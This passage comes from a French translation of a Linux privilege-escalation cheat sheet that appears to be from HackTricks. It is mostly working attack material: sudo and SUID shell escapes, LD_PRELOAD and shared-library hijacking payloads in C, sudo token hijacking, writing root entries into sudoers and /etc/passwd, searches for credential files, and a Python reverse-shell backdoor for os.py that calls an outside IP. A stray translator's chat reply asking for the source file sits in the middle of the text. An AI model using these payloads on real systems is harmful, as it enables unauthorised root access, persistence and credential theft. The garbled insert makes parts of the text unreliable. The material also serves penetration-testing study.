Vérifiez si vous pouvez sniff le trafic. Si c’est le cas, vous pourriez être en mesure d’obtenir des credentials.
timeout 1 tcpdump
Utilisateurs
Énumération Générique
Vérifiez who vous êtes, quels privileges vous avez, quels users sont dans les systèmes, lesquels peuvent login et lesquels ont des root privileges :
#Info about me
id || (whoami && groups) 2>/dev/null
#List all users
cat /etc/passwd | cut -d: -f1
#List users with console
cat /etc/passwd | grep "sh$"
#List superusers
awk -F: '($3 == "0") {print}' /etc/passwd
#Currently logged users
w
#Login history
last | tail
#Last log of each user
lastlog
#List all users and their groups
for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | sort
#Current user PGP keys
gpg --list-keys 2>/dev/null
Big UID
Certaines versions de Linux ont été affectées par un bug qui permet aux utilisateurs avec UID > INT_MAX d’escalader des privilèges. Plus d’infos : here, here and here.
Exploit it using: systemd-run -t /bin/bash
Groupes
Vérifiez si vous êtes membre d’un groupe qui pourrait vous accorder les privilèges root :
Interesting Groups - Linux Privesc
Presse-papiers
Vérifiez si quelque chose d’intéressant se trouve dans le presse-papiers (si possible)
if [ `which xclip 2>/dev/null` ]; then
echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null`
echo "Highlighted text: "`xclip -o 2>/dev/null`
elif [ `which xsel 2>/dev/null` ]; then
echo "Clipboard: "`xsel -ob 2>/dev/null`
echo "Highlighted text: "`xsel -o 2>/dev/null`
else echo "Not found xsel and xclip"
fi
Politique des mots de passe
grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs
Mots de passe connus
Si vous connaissez un mot de passe de l’environnement essayez de vous connecter pour chaque utilisateur en utilisant ce mot de passe.
Su Brute
Si vous ne craignez pas de générer beaucoup de bruit et que les binaires su et timeout sont présents sur la machine, vous pouvez essayer de brute-forcer un utilisateur en utilisant su-bruteforce.
Linpeas avec le paramètre -a tente aussi de brute-forcer des utilisateurs.
Abus du $PATH inscriptible
$PATH
Si vous constatez que vous pouvez écrire dans un dossier du $PATH vous pouvez être en mesure d’escalader les privilèges en créant une backdoor dans le dossier inscriptible portant le nom d’une commande qui va être exécutée par un autre utilisateur (idéalement root) et qui n’est pas chargée depuis un dossier situé avant votre dossier inscriptible dans le $PATH.
SUDO and SUID
Il se peut que vous soyez autorisé à exécuter certaines commandes avec sudo ou qu’elles aient le bit suid. Vérifiez-le en utilisant :
sudo -l #Check commands you can execute with sudo
find / -perm -4000 2>/dev/null #Find all SUID binaries
Certaines commandes inattendues permettent de lire et/ou d’écrire des fichiers ou même d’exécuter une commande. Par exemple :
sudo awk 'BEGIN {system("/bin/sh")}'
sudo find /etc -exec sh -i \;
sudo tcpdump -n -i lo -G1 -w /dev/null -z ./runme.sh
sudo tar c a.tar -I ./runme.sh a
ftp>!/bin/sh
less>! <shell_comand>
NOPASSWD
La configuration de Sudo peut permettre à un utilisateur d’exécuter une commande avec les privilèges d’un autre utilisateur sans connaître le mot de passe.
$ sudo -l
User demo may run the following commands on crashlab:
(root) NOPASSWD: /usr/bin/vim
Dans cet exemple, l’utilisateur demo peut exécuter vim en tant que root; il est alors trivial d’obtenir un shell en ajoutant une clé ssh dans le répertoire root ou en lançant sh.
sudo vim -c '!sh'
SETENV
Cette directive permet à l’utilisateur de définir une variable d’environnement lors de l’exécution d’une commande :
$ sudo -l
User waldo may run the following commands on admirer:
(ALL) SETENV: /opt/scripts/admin_tasks.sh
Cet exemple, based on HTB machine Admirer, était vulnérable à PYTHONPATH hijacking permettant de charger une bibliothèque python arbitraire lors de l’exécution du script en tant que root:
sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh
BASH_ENV preserved via sudo env_keep → root shell
Si sudoers préserve BASH_ENV (par ex., Defaults env_keep+="ENV BASH_ENV"), vous pouvez exploiter le comportement de démarrage non interactif de Bash pour exécuter du code arbitraire en root lors de l’appel d’une commande autorisée.
-
Why it works: For non-interactive shells, Bash evaluates
$BASH_ENVand sources that file before running the target script. Many sudo rules allow running a script or a shell wrapper. IfBASH_ENVis preserved by sudo, your file is sourced with root privileges. -
Exigences:
-
Une règle sudo que vous pouvez exécuter (n’importe quelle cible qui invoque
/bin/bashde façon non interactive, ou tout script bash). -
BASH_ENVprésent dansenv_keep(vérifiez avecsudo -l). -
PoC:
cat > /dev/shm/shell.sh <<'EOF'
#!/bin/bash
/bin/bash
EOF
chmod +x /dev/shm/shell.sh
BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo # or any permitted script/binary that triggers bash
# You should now have a root shell
- Durcissement:
- Supprimez
BASH_ENV(etENV) deenv_keep, préférezenv_reset. - Évitez les wrappers shell pour les commandes autorisées par sudo ; utilisez des binaires minimaux.
- Envisagez la journalisation I/O de sudo et l’alerte lorsque des variables d’environnement préservées sont utilisées.
Chemins de contournement de l’exécution sudo
Jump pour lire d’autres fichiers ou utilisez des symlinks. Par exemple, dans le fichier sudoers : hacker10 ALL= (root) /bin/less /var/log/*
sudo less /var/logs/anything
less>:e /etc/shadow #Jump to read other files using privileged less
ln /etc/shadow /var/log/new
sudo less /var/log/new #Use symlinks to read any file
Si un wildcard est utilisé (*), c’est encore plus simple :
sudo less /var/log/../../etc/shadow #Read shadow
sudo less /var/log/something /etc/shadow #Red 2 files
Contre-mesures: https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/
Sudo command/SUID binary sans chemin de commande
Si la sudo permission est donnée à une seule commande sans spécifier le chemin : hacker10 ALL= (root) less vous pouvez l’exploiter en modifiant la variable PATH
export PATH=/tmp:$PATH
#Put your backdoor in /tmp and name it "less"
sudo less
Cette technique peut aussi être utilisée si un binaire suid exécute une autre commande sans spécifier le chemin (vérifiez toujours avec strings le contenu d’un binaire SUID étrange).
Binaire SUID avec chemin de commande
Si le suid binaire exécute une autre commande en spécifiant le chemin, alors vous pouvez essayer de export a function nommée comme la commande que le fichier suid appelle.
Par exemple, si un binaire suid appelle /usr/sbin/service apache2 start vous devez essayer de créer la function et de l’exporter :
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service
Ensuite, lorsque vous appelez le binaire suid, cette fonction sera exécutée
LD_PRELOAD & LD_LIBRARY_PATH
La variable d’environnement LD_PRELOAD est utilisée pour spécifier une ou plusieurs bibliothèques partagées (fichiers .so) à charger par le chargeur avant toutes les autres, y compris la bibliothèque standard C (libc.so). Ce processus est connu sous le nom de préchargement d’une bibliothèque.
Cependant, pour maintenir la sécurité du système et empêcher que cette fonctionnalité soit exploitée, en particulier avec les exécutables suid/sgid, le système applique certaines conditions :
- Le chargeur ignore LD_PRELOAD pour les exécutables où l’ID utilisateur réel (ruid) ne correspond pas à l’ID utilisateur effectif (euid).
- Pour les exécutables avec suid/sgid, seules les bibliothèques situées dans des chemins standard et elles-mêmes suid/sgid sont préchargées.
Une élévation de privilèges peut se produire si vous avez la possibilité d’exécuter des commandes avec sudo et que la sortie de sudo -l inclut la directive env_keep+=LD_PRELOAD. Cette configuration permet à la variable d’environnement LD_PRELOAD de persister et d’être reconnue même lorsque des commandes sont exécutées avec sudo, ce qui peut potentiellement conduire à l’exécution de code arbitraire avec des privilèges élevés.
Defaults env_keep += LD_PRELOAD
Enregistrer sous /tmp/pe.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
Ensuite, compilez-le en utilisant :
cd /tmp
gcc -fPIC -shared -o pe.so pe.c -nostartfiles
Enfin, escalate privileges en exécutant
sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo
Caution
Un privesc similaire peut être exploité si l’attaquant contrôle la variable d’environnement LD_LIBRARY_PATH, car il contrôle le chemin où les bibliothèques seront recherchées.
#include <stdio.h>
#include <stdlib.h>
static void hijack() __attribute__((constructor));
void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}
# Compile & execute
cd /tmp
gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c
sudo LD_LIBRARY_PATH=/tmp <COMMAND>
SUID Binary – .so injection
Lorsqu’on rencontre un binaire avec des permissions SUID qui semble inhabituel, il est conseillé de vérifier s’il charge correctement les fichiers .so. Cela peut être vérifié en exécutant la commande suivante :
strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"
Par exemple, rencontrer une erreur telle que “open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)” suggère une possibilité d’exploitation.
Pour exploiter cela, on procéderait en créant un fichier C, par exemple “/path/to/.config/libcalc.c”, contenant le code suivant :
#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject(){
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}
Ce code, une fois compilé et exécuté, vise à élever les privilèges en manipulant les permissions de fichiers et en exécutant un shell avec des privilèges élevés.
Compilez le fichier C ci‑dessus en un fichier objet partagé (.so) avec :
gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c
Enfin, l’exécution du SUID binary affecté devrait déclencher l’exploit, permettant une compromission potentielle du système.
Shared Object Hijacking
# Lets find a SUID using a non-standard library
ldd some_suid
something.so => /lib/x86_64-linux-gnu/something.so
# The SUID also loads libraries from a custom location where we can write
readelf -d payroll | grep PATH
0x000000000000001d (RUNPATH) Library runpath: [/development]
Maintenant que nous avons trouvé un SUID binary qui charge une library depuis un dossier où nous pouvons écrire, créons la library dans ce dossier avec le nom nécessaire :
//gcc src.c -fPIC -shared -o /development/libshared.so
#include <stdio.h>
#include <stdlib.h>
static void hijack() __attribute__((constructor));
void hijack() {
setresuid(0,0,0);
system("/bin/bash -p");
}
Si vous obtenez une erreur telle que
./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name
that means that the library you have generated need to have a function called a_function_name.
GTFOBins
GTFOBins est une liste organisée de binaires Unix qui peuvent être exploités par un attaquant pour contourner les restrictions de sécurité locales. GTFOArgs est la même chose mais pour les cas où vous pouvez uniquement injecter des arguments dans une commande.
Le projet recense des fonctions légitimes de binaires Unix qui peuvent être détournées pour sortir de shells restreints, escalader ou maintenir des privilèges élevés, transférer des fichiers, lancer des bind et reverse shells, et faciliter les autres tâches de post-exploitation.
gdb -nx -ex ‘!sh’ -ex quit
sudo mysql -e ‘! /bin/sh’
strace -o /dev/null /bin/sh
sudo awk ‘BEGIN {system(“/bin/sh”)}’
FallOfSudo
If you can access sudo -l you can use the tool FallOfSudo to check if it finds how to exploit any sudo rule.
Reusing Sudo Tokens
In cases where you have sudo access but not the password, you can escalate privileges by waiting for a sudo command execution and then hijacking the session token.
Conditions requises pour escalader les privilèges:
- Vous avez déjà un shell en tant qu’utilisateur “sampleuser”
- “sampleuser” a utilisé
sudopour exécuter quelque chose dans les 15 dernières minutes (par défaut c’est la durée du token sudo qui permet d’utilisersudosans entrer de mot de passe) cat /proc/sys/kernel/yama/ptrace_scopeest 0gdbest accessible (vous devez pouvoir l’uploader)
(You can temporarily enable ptrace_scope with echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope or permanently modifying /etc/sysctl.d/10-ptrace.conf and setting kernel.yama.ptrace_scope = 0)
If all these requirements are met, you can escalate privileges using: https://github.com/nongiach/sudo_inject
- Le premier exploit (
exploit.sh) créera le binaireactivate_sudo_tokendans /tmp. Vous pouvez l’utiliser pour activer le token sudo dans votre session (vous n’obtiendrez pas automatiquement un shell root, faitessudo su):
bash exploit.sh
/tmp/activate_sudo_token
sudo su
- Le deuxième exploit (
exploit_v2.sh) créera un sh shell dans /tmp owned by root with setuid
bash exploit_v2.sh
/tmp/sh -p
- Le troisième exploit (
exploit_v3.sh) va créer un fichier sudoers qui rend les sudo tokens éternels et permet à tous les utilisateurs d’utiliser sudo
bash exploit_v3.sh
sudo su
/var/run/sudo/ts/<Username>
Si vous avez les permissions d’écriture dans le dossier ou sur l’un des fichiers créés dans le dossier, vous pouvez utiliser le binaire write_sudo_token pour créer un sudo token pour un utilisateur et un PID.
Par exemple, si vous pouvez écraser le fichier /var/run/sudo/ts/sampleuser et que vous avez un shell en tant que cet utilisateur avec le PID 1234, vous pouvez obtenir des privilèges sudo sans avoir besoin du mot de passe en faisant:
./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser
/etc/sudoers, /etc/sudoers.d
Le fichier /etc/sudoers et les fichiers à l’intérieur de /etc/sudoers.d configurent qui peut utiliser sudo et comment. Ces fichiers par défaut ne peuvent être lus que par l’utilisateur root et le groupe root.
Si vous pouvez lire ce fichier, vous pourriez être en mesure d’obtenir des informations intéressantes, et si vous pouvez écrire n’importe quel fichier, vous serez capable de escalate privileges.
ls -l /etc/sudoers /etc/sudoers.d/
ls -ld /etc/sudoers.d/
Si vous pouvez écrire, vous pouvez abuser de cette permission
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README
Une autre façon d’abuser de ces autorisations :
# makes it so every terminal can sudo
echo "Defaults !tty_tickets" > /etc/sudoers.d/win
# makes it so sudo never times out
echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win
DOAS
Il existe des alternatives au binaire sudo, comme doas pour OpenBSD ; pensez à vérifier sa configuration dans /etc/doas.conf
permit nopass demo as root cmd vim
Sudo Hijacking
Si vous savez qu’un utilisateur se connecte généralement à une machine et utilise sudo pour escalader les privilèges et que vous avez obtenu un shell dans ce contexte utilisateur, vous pouvez créer un nouvel exécutable sudo qui exécutera votre code en tant que root puis la commande de l’utilisateur. Ensuite, modifiez le $PATH du contexte utilisateur (par exemple en ajoutant le nouveau chemin dans .bash_profile) afin que lorsque l’utilisateur exécute sudo, votre exécutable sudo soit exécuté.
Notez que si l’utilisateur utilise un shell différent (pas bash) vous devrez modifier d’autres fichiers pour ajouter le nouveau chemin. Par exemple sudo-piggyback modifie ~/.bashrc, ~/.zshrc, ~/.bash_profile. Vous pouvez trouver un autre exemple dans bashdoor.py
Ou en exécutant quelque chose comme :
cat >/tmp/sudo <<EOF
#!/bin/bash
/usr/bin/sudo whoami > /tmp/privesc
/usr/bin/sudo "\$@"
EOF
chmod +x /tmp/sudo
echo ‘export PATH=/tmp:$PATH’ >> $HOME/.zshenv # or ".bashrc" or any other
# From the victim
zsh
echo $PATH
sudo ls
Bibliothèque partagée
ld.so
Le fichier /etc/ld.so.conf indique d’où proviennent les fichiers de configuration chargés. Typiquement, ce fichier contient le chemin suivant : include /etc/ld.so.conf.d/*.conf
Cela signifie que les fichiers de configuration de /etc/ld.so.conf.d/*.conf seront lus. Ces fichiers de configuration pointent vers d’autres dossiers où les bibliothèques vont être recherchées. Par exemple, le contenu de /etc/ld.so.conf.d/libc.conf est /usr/local/lib. Cela signifie que le système cherchera des bibliothèques à l’intérieur de /usr/local/lib.
Si pour une raison quelconque un utilisateur a des permissions d’écriture sur l’un des chemins indiqués : /etc/ld.so.conf, /etc/ld.so.conf.d/, n’importe quel fichier à l’intérieur de /etc/ld.so.conf.d/ ou n’importe quel dossier référencé dans un fichier de configuration sous /etc/ld.so.conf.d/*.conf il peut être en mesure d’escalader ses privilèges.
Consultez comment exploiter cette mauvaise configuration dans la page suivante :
RPATH
level15@nebula:/home/flag15$ readelf -d flag15 | egrep "NEEDED|RPATH"
0x00000001 (NEEDED) Shared library: [libc.so.6]
0x0000000f (RPATH) Library rpath: [/var/tmp/flag15]
level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 => (0x0068c000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x005bb000)
En copiant la lib dans /var/tmp/flag15/, elle sera utilisée par le programme à cet emplacement comme spécifié dans la variable RPATH.
level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/
level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 => (0x005b0000)
libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x00737000)
Ensuite, créez une bibliothèque malveillante dans /var/tmp avec gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6
#include<stdlib.h>
#define SHELL "/bin/sh"
int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end))
{
char *file = SHELL;
char *argv[] = {SHELL,0};
setresuid(geteuid(),geteuid(), geteuid());
execve(file,argv,0);
}
Capacités
Linux capabilities provide a subset of the available root privileges to a process. This effectively breaks up root privileges into smaller and distinctive units. Each of these units can then be independently granted to processes. This way the full set of privileges is reduced, decreasing the risks of exploitation.
Lisez la page suivante pour en savoir plus sur les capacités et comment les exploiter:
Permissions des répertoires
Dans un répertoire, le bit “execute” implique que l’utilisateur concerné peut “cd” dans le dossier.
Le bit “read” implique que l’utilisateur peut lister les fichiers, et le bit “write” implique que l’utilisateur peut supprimer et créer de nouveaux fichiers.
ACLs
Les Listes de contrôle d’accès (ACLs) représentent la couche secondaire des permissions discrétionnaires, capables de outrepasser les permissions traditionnelles ugo/rwx. Ces permissions améliorent le contrôle de l’accès aux fichiers ou répertoires en autorisant ou en refusant des droits à des utilisateurs spécifiques qui ne sont ni propriétaires ni membres du groupe. Ce niveau de granularité garantit une gestion des accès plus précise. Further details can be found here.
Donner user “kali” read and write permissions over a file:
setfacl -m u:kali:rw file.txt
#Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included)
setfacl -b file.txt #Remove the ACL of the file
Récupérer les fichiers avec des ACL spécifiques du système:
getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null
Sessions shell ouvertes
Dans les anciennes versions, vous pouvez hijack certaines sessions shell d’un autre user (root).
Dans les nouvelles versions, vous pourrez connect uniquement aux sessions screen de votre propre user. Cependant, vous pourriez trouver des informations intéressantes à l’intérieur de la session.
Hijacking de sessions screen
Lister les sessions screen
screen -ls
screen -ls <username>/ # Show another user' screen sessions
.png)
Se connecter à une session
screen -dr <session> #The -d is to detach whoever is attached to it
screen -dr 3350.foo #In the example of the image
screen -x [user]/[session id]
tmux sessions hijacking
C’était un problème avec anciennes versions de tmux. Je n’ai pas pu hijack une session tmux (v2.1) créée par root en tant qu’utilisateur non privilégié.
Lister les sessions tmux
tmux ls
ps aux | grep tmux #Search for tmux consoles not using default folder for sockets
tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session in that socket with: tmux -S /tmp/dev_sess
.png)
Se connecter à une session
tmux attach -t myname #If you write something in this session it will appears in the other opened one
tmux attach -d -t myname #First detach the session from the other console and then access it yourself
ls -la /tmp/dev_sess #Check who can access it
rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs can
# If you are root or devs you can access it
tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket
Check Valentine box from HTB for an example.
SSH
Debian OpenSSL Predictable PRNG - CVE-2008-0166
Toutes les clés SSL et SSH générées sur les systèmes basés sur Debian (Ubuntu, Kubuntu, etc) entre septembre 2006 et le 13 mai 2008 peuvent être affectées par ce bug.
Ce bug est causé lors de la création d’une nouvelle clef ssh sur ces OS, car seules 32,768 variations étaient possibles. Cela signifie que toutes les possibilités peuvent être calculées et en disposant de la ssh public key vous pouvez rechercher la clé privée correspondante. Vous pouvez trouver les possibilités calculées ici: https://github.com/g0tmi1k/debian-ssh
SSH Valeurs de configuration intéressantes
- PasswordAuthentication: Indique si l’authentification par mot de passe est autorisée. Par défaut :
no. - PubkeyAuthentication: Indique si l’authentification par public key est autorisée. Par défaut :
yes. - PermitEmptyPasswords: Lorsque l’authentification par mot de passe est autorisée, spécifie si le serveur permet la connexion aux comptes avec des mots de passe vides. Par défaut :
no.
PermitRootLogin
Spécifie si root peut se connecter via ssh, par défaut : no. Valeurs possibles :
yes: root peut se connecter en utilisant un mot de passe et une private keywithout-passwordorprohibit-password: root ne peut se connecter qu’avec une private keyforced-commands-only: root ne peut se connecter qu’en utilisant une private key et si l’option commands est spécifiéeno: non
AuthorizedKeysFile
Spécifie les fichiers qui contiennent les public keys pouvant être utilisées pour l’authentification des utilisateurs. Il peut contenir des tokens comme %h, qui seront remplacés par le répertoire personnel. Vous pouvez indiquer des chemins absolus (commençant par /) ou des chemins relatifs depuis le répertoire personnel de l’utilisateur. Par exemple:
AuthorizedKeysFile .ssh/authorized_keys access
Cette configuration indiquera que si vous essayez de vous connecter avec la clé private de l’utilisateur “testusername”, ssh va comparer la public key de votre clé avec celles situées dans /home/testusername/.ssh/authorized_keys et /home/testusername/access
ForwardAgent/AllowAgentForwarding
SSH agent forwarding vous permet de use your local SSH keys instead of leaving keys (without passphrases!) sur votre serveur. Ainsi, vous pourrez jump via ssh to a host et depuis là jump to another host using la key située dans votre initial host.
Vous devez définir cette option dans $HOME/.ssh.config comme ceci:
Host example.com
ForwardAgent yes
Notez que si Host est *, chaque fois que l’utilisateur se connecte à une machine différente, cet hôte pourra accéder aux clés (ce qui constitue un problème de sécurité).
Le fichier /etc/ssh_config peut écraser ces options et permettre ou refuser cette configuration.
Le fichier /etc/sshd_config peut autoriser ou refuser ssh-agent forwarding avec le mot-clé AllowAgentForwarding (par défaut : autorisé).
If you find that Forward Agent is configured in an environment read the following page as you may be able to abuse it to escalate privileges:
SSH Forward Agent exploitation
Fichiers intéressants
Fichiers de profil
Le fichier /etc/profile et les fichiers sous /etc/profile.d/ sont des scripts qui sont exécutés lorsqu’un utilisateur lance un nouveau shell. Par conséquent, si vous pouvez écrire ou modifier n’importe lequel d’entre eux, vous pouvez obtenir une élévation de privilèges.
ls -l /etc/profile /etc/profile.d/
Si un script de profil suspect est trouvé, vous devez le vérifier pour des détails sensibles.
Fichiers Passwd/Shadow
Selon l’OS, les fichiers /etc/passwd et /etc/shadow peuvent porter un autre nom ou il peut exister une sauvegarde. Il est donc recommandé de les trouver tous et de vérifier si vous pouvez les lire pour voir s’il y a des hashes à l’intérieur des fichiers:
#Passwd equivalent files
cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
#Shadow equivalent files
cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null
Dans certains cas, vous pouvez trouver password hashes dans le fichier /etc/passwd (ou équivalent).
grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
Accès en écriture à /etc/passwd
Tout d’abord, générez un mot de passe avec l’une des commandes suivantes.
openssl passwd -1 -salt hacker hacker
mkpasswd -m SHA-512 hacker
python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'
Je n’ai pas reçu le contenu du fichier src/linux-hardening/privilege-escalation/README.md. Peux-tu coller ici le texte à traduire ?
Précise aussi :
- Veux-tu que je génère un mot de passe pour l’utilisateur hacker ? Si oui, quelle longueur et quels types de caractères (lettres, chiffres, symboles) ?
- Ou préfères-tu que j’insère un mot de passe que tu fournis ?
Une fois que tu auras collé le fichier et confirmé la méthode pour le mot de passe, je traduirai le contenu en français en gardant exactement la même syntaxe Markdown/HTML et j’ajouterai l’instruction pour créer l’utilisateur hacker avec le mot de passe généré.
hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash
Exemple : hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash
Vous pouvez maintenant utiliser la commande su avec hacker:hacker
Alternativement, vous pouvez utiliser les lignes suivantes pour ajouter un utilisateur factice sans mot de passe.
ATTENTION : cela pourrait dégrader la sécurité actuelle de la machine.
echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
su - dummy
REMARQUE : Sur les plateformes BSD, /etc/passwd se trouve à /etc/pwd.db et /etc/master.passwd, et /etc/shadow est renommé en /etc/spwd.db.
Vous devriez vérifier si vous pouvez écrire dans certains fichiers sensibles. Par exemple, pouvez-vous écrire dans un fichier de configuration de service ?
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user
Par exemple, si la machine exécute un serveur tomcat et que vous pouvez modifier le fichier de configuration du service Tomcat dans /etc/systemd/, alors vous pouvez modifier les lignes :
ExecStart=/path/to/backdoor
User=root
Group=root
Votre backdoor sera exécutée la prochaine fois que tomcat sera démarré.
Vérifier les dossiers
Les dossiers suivants peuvent contenir des sauvegardes ou des informations intéressantes : /tmp, /var/tmp, /var/backups, /var/mail, /var/spool/mail, /etc/exports, /root (Probablement vous ne pourrez pas lire le dernier mais essayez quand même)
ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root
Emplacement étrange/fichiers Owned
#root owned files in /home folders
find /home -user root 2>/dev/null
#Files owned by other users in folders owned by me
for d in `find /var /etc /home /root /tmp /usr /opt /boot /sys -type d -user $(whoami) 2>/dev/null`; do find $d ! -user `whoami` -exec ls -l {} \; 2>/dev/null; done
#Files owned by root, readable by me but not world readable
find / -type f -user root ! -perm -o=r 2>/dev/null
#Files owned by me or world writable
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
#Writable files by each group I belong to
for g in `groups`;
do printf " Group $g:\n";
find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
done
done
Fichiers modifiés dans les dernières minutes
find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null
Fichiers DB Sqlite
find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null
*_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml fichiers
find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null
Fichiers cachés
find / -type f -iname ".*" -ls 2>/dev/null
Scripts/Binaires dans PATH
for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done
for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done
Fichiers Web
ls -alhR /var/www/ 2>/dev/null
ls -alhR /srv/www/htdocs/ 2>/dev/null
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/ 2>/dev/null
Sauvegardes
find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null
Fichiers connus contenant des mots de passe
Consultez le code de linPEAS, il recherche plusieurs fichiers susceptibles de contenir des mots de passe.
Un autre outil intéressant que vous pouvez utiliser pour cela est : LaZagne qui est une application open source utilisée pour récupérer de nombreux mots de passe stockés sur un ordinateur local pour Windows, Linux & Mac.
Logs
Si vous pouvez lire les logs, vous pourriez trouver des informations intéressantes/confidentielles à l’intérieur. Plus le log est étrange, plus il sera intéressant (probablement).
De plus, certains audit logs mal configurés (backdoored ?) peuvent vous permettre d’enregistrer des mots de passe dans les audit logs comme expliqué dans ce post : [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/].
aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
Pour lire les logs, le groupe adm sera vraiment utile.
Fichiers shell
~/.bash_profile # if it exists, read it once when you log in to the shell
~/.bash_login # if it exists, read it once if .bash_profile doesn't exist
~/.profile # if it exists, read once if the two above don't exist
/etc/profile # only read if none of the above exists
~/.bashrc # if it exists, read it every time you start a new shell
~/.bash_logout # if it exists, read when the login shell exits
~/.zlogin #zsh shell
~/.zshrc #zsh shell
Generic Creds Search/Regex
You should also check for files containing the word “password” in its name or inside the content, and also check for IPs and emails inside logs, or hashes regexps.
Je ne vais pas lister ici comment faire tout cela mais si cela vous intéresse vous pouvez consulter les dernières vérifications que linpeas effectue.
Fichiers modifiables
Python library hijacking
Si vous savez d’où un script python va être exécuté et que vous pouvez écrire dans ce dossier ou que vous pouvez modifier python libraries, vous pouvez modifier la librairie OS et backdoor it (si vous pouvez écrire là où le script python va être exécuté, copiez et collez la librairie os.py).
To backdoor the library juste ajoutez à la fin de la librairie os.py la ligne suivante (remplacez IP et PORT) :
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
Exploitation de logrotate
